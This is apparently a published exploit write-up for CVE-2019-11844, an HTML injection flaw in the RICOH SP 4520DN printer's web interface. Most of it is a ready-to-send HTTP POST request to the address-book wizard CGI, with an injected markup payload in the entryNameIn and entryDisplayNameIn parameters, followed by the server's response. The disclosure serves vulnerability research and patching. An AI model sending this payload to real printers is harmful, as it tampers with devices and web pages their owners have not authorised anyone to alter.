RICOH SP 4520DN Printer HTML Injection

`# Exploit Title: RICOH SP 4520DN Printer - HTML Injection  
# Date: 2019-05-06   
# Exploit Author: Ismail Tasdelen  
# Vendor Homepage: https://www.ricoh.com/  
# Hardware Link: https://www.ricoh-europe.com/products/office-printers-fax/single-function-printers/sp-4520dn.html  
# Software: RICOH Printer  
# Product Version: SP 4520DN  
# Vulernability Type: Code Injection  
# Vulenrability: HTML Injection  
# CVE: CVE-2019-11844  
  
# An HTML Injection vulnerability has been discovered on the RICOH SP 4520DN via the /web/entry/en/address/adrsSetUserWizard.cgi  
# entryNameIn or entryDisplayNameIn parameter.  
  
# HTTP POST Request :  
  
POST /web/entry/en/address/adrsSetUserWizard.cgi HTTP/1.1  
Host: TARGET  
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:65.0) Gecko/20100101 Firefox/65.0  
Accept: text/plain, */*  
Accept-Language: en-US,en;q=0.5  
Accept-Encoding: gzip, deflate  
Referer: http://TARGET/web/entry/en/address/adrsList.cgi  
Content-Type: application/x-www-form-urlencoded; charset=UTF-8  
X-Requested-With: XMLHttpRequest  
Content-Length: 219  
DNT: 1  
Connection: close  
Cookie: risessionid=110508462500758; cookieOnOffChecker=on; wimsesid=598742008  
  
mode=ADDUSER&step=BASE&wimToken=279565363&entryIndexIn=00001&entryNameIn=%22%3E%3Ch1%3ETEST%3C%2Fh1%3E&entryDisplayNameIn=%22%3E%3Ch1%3ETEST%3C%2Fh1%3E&entryTagInfoIn=1&entryTagInfoIn=1&entryTagInfoIn=1&entryTagInfoIn=1  
  
# HTTP Response :  
  
HTTP/1.1 200 OK  
Date: Mon, 06 May 2019 11:00:09 GMT  
Server: Web-Server/3.0  
Content-Type: text/plain  
Expires: Mon, 06 May 2019 11:00:09 GMT  
Set-Cookie: cookieOnOffChecker=on; path=/  
Connection: close  
  
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`